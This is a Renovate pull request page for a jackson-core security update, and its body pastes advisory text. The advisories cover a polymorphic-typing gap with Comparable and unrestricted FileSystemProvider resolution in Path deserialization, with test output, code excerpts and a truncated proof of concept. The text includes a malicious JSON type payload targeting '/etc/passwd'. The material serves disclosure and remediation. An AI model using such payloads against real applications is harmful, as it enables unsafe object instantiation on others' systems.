$ java -cp .:build/classes PtvGapTest4
Trying malicious substitution: ["PtvGapTest4$Holder",{"value":["java.io.File","/etc/passwd"]}]
REJECTED - InvalidTypeIdException: Could not resolve type id 'java.io.File' as a
subtype of java.lang.Comparable: Configured PolymorphicTypeValidator denied resolution

Impact

Any application declaring an @JsonTypeInfo-annotated property or class with Comparable as its base type, without a separately configured restrictive PolymorphicTypeValidator, will accept a type identifier for essentially any class implementing Comparable. Concrete impact is demonstrated via java.io.File: an attacker can cause construction of a File object for an arbitrary, attacker-chosen path. On its own this is a controlled-object-instantiation primitive; if the application later calls path-sensitive or mutating methods on the received value, this becomes a path-traversal-adjacent primitive.

Suggested remediation:

  1. Add java.lang.Comparable to UnsafeBaseTypes.UNSAFE.
  2. Audit other broad JDK interfaces (java.lang.Iterable, java.util.EventListener) for the same gap.
  3. Consider a narrower default for isSafeSubType() for base types outside the fixed denylist, rather than unconditional true.

Severity

  • CVSS Score: 5.6 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind: Path Deserialization Missing Scheme Allowlist for FileSystemProvider Resolution

CVE-2026-19032 / GHSA-wjgm-6hv5-3cvf

More information

Details

Summary

A java.nio.file.Path field bound from untrusted JSON reaches JDKFromStringDeserializer.NioPathHelper.deserialize. The attacker string flows through new URI(value) → Path.of(uri), then on FileSystemNotFoundException into a ServiceLoader<FileSystemProvider> enumeration that calls provider.getPath(uri) on the first scheme-matching provider. No scheme is rejected, so untrusted JSON can drive an arbitrary registered provider under the default JsonMapper.builder().build().

Impact is bounded. The JDK built-in providers (file, jar/zipfs) do no network I/O and do not mount, so the path is inert without a side-effecting third-party provider. Binding Path from untrusted input is already an anti-pattern.

Description

NioPathHelper.deserialize performs provider resolution driven by the attacker URI (abridged; the real method also handles a Windows drive-letter prefix and wraps failures via ctxt.handleInstantiationProblem(...)):

int colonIx = value.indexOf(':');
if (colonIx < 0) { return Path.of(value); }
...
final URI uri = new URI(value);          // attacker-controlled URI string
try {
    return Path.of(uri);                  // resolves scheme -> may load a FileSystemProvider
} catch (FileSystemNotFoundException cause) {
    final String scheme = uri.getScheme();
    for (FileSystemProvider provider : ServiceLoader.load(FileSystemProvider.class)) {
        if (provider.getScheme().equalsIgnoreCase(scheme)) {
            return provider.getPath(uri);  // attacker scheme selects & drives a provider
        }
    }
    // no matching provider -> ctxt.handleInstantiationProblem(...) (throws by default)
}

The attacker's scheme selects the provider and the attacker's URI is passed to it; the enumeration also forces provider classloading during readValue. For built-in schemes like jar:, getPath throws FileSystemNotFoundException (a mount requires explicit newFileSystem), surfacing as a wrapped ValueInstantiationException with no terminal effect. Any mount, network I/O, or resource access depends entirely on the selected provider.

Vulnerable Code Location
  • src/main/java/tools/jackson/databind/deser/jdk/JDKFromStringDeserializer.java
    • STD_PATH → NioPathHelper.deserialize; NioPathHelper.deserialize body
      (new URI → Path.of(uri) → ServiceLoader.load(FileSystemProvider.class) → provider.getPath(uri)).
Proof of Concept

Two PoCs are provided.

PoC 2 registers a custom FileSystemProvider to show that attacker JSON reaches provider.getPath(attackerURI) inside readValue. Whether a third-party provider then does anything harmful is outside the library's control. The in-scope issue is PoC 1 — the jar:/arbitrary-scheme path reaching the ServiceLoader fallback with no scheme restriction.

PoC 1 — sink reached (built-in jar provider).

com/poc/Vuln04_PathProvider.java:

package com.poc;

import tools.jackson.databind.ObjectMapper;
import tools.jackson.databind.json.JsonMapper;
import java.nio.file.Path;

/**
 * Vuln 4: java.nio.file.Path deserialization resolves an attacker URI via
 * Path.of(uri) / ServiceLoa

> ❗ **Important**
> 
> ✂ PR body was truncated to here.

@renovate renovate Bot changed the title Update dependency com.fasterxml.jackson.core:jackson-core to v2.18.6 [SECURITY] Update dependency com.fasterxml.jackson.core:jackson-core to v2.18.6 [SECURITY] - autoclosed Mar 27, 2026
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@renovate renovate Bot changed the title Update dependency com.fasterxml.jackson.core:jackson-core to v2.18.6 [SECURITY] - autoclosed Update dependency com.fasterxml.jackson.core:jackson-core to v2.18.6 [SECURITY] Mar 27, 2026
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@renovate renovate Bot changed the title Update dependency com.fasterxml.jackson.core:jackson-core to v2.18.6 [SECURITY] Update dependency com.fasterxml.jackson.core:jackson-core to v2.18.6 [SECURITY] - autoclosed Apr 27, 2026
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@renovate renovate Bot changed the title Update dependency com.fasterxml.jackson.core:jackson-core to v2.18.6 [SECURITY] - autoclosed Update dependency com.fasterxml.jackson.core:jackson-core to v2.18.6 [SECURITY] Apr 27, 2026
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@renovate renovate Bot changed the title Update dependency com.fasterxml.jackson.core:jackson-core to v2.18.6 [SECURITY] Update jackson-version to v2.18.6 [SECURITY] Jun 2, 2026
@renovate renovate Bot changed the title Update jackson-version to v2.18.6 [SECURITY] Update jackson-version [SECURITY] Jun 22, 2026
@renovate renovate Bot changed the title Update jackson-version [SECURITY] Update dependency com.fasterxml.jackson.core:jackson-core to v2.18.6 [SECURITY] Jun 25, 2026
@renovate renovate Bot changed the title Update dependency com.fasterxml.jackson.core:jackson-core to v2.18.6 [SECURITY] Update jackson-version [SECURITY] Jun 30, 2026
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Quality Gate Passed Quality Gate passed

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